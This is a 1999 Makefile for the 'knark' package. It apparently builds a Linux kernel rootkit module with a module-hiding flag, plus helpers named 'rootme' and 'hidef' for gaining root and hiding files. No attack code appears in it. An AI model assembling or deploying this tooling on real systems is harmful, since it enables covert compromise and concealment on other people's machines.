# Makefile, part of the knark package v0.41
# (c) Creed @ #hack.se 1999 <creed@sekure.net>
# 
# This Makefile may NOT be used in an illegal way,
# or to cause damage of ANY kind.
# (please email me if you find a way to cause damage with a Makefile)
#
# See README for more info

# remove -DHIDEMODULE if you want to be able to unload the module.
MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS -DHIDEMODULE
CFLAGS = -Wall -O2
MODCFLAGS = -Wstrict-prototypes -fomit-frame-pointer -pipe -fno-strength-reduce -malign-loops=2 -malign-jumps=2 -malign-functions=2 -include /usr/src/linux/include/linux/modversions.h

all:		knark rootme hidef

knark:		knark.c
		$(CC) $(CFLAGS) $(MODCFLAGS) -c knark.c $(MODDEFS)

hidef:		hidef.c
		$(CC) $(CFLAGS) -o hidef hidef.c
		ln -fs ./hidef unhidef

rootme:		rootme.c
		$(CC) $(CFLAGS) -o rootme rootme.c

clean:
		rm -f knark.o hidef unhidef rootme *~
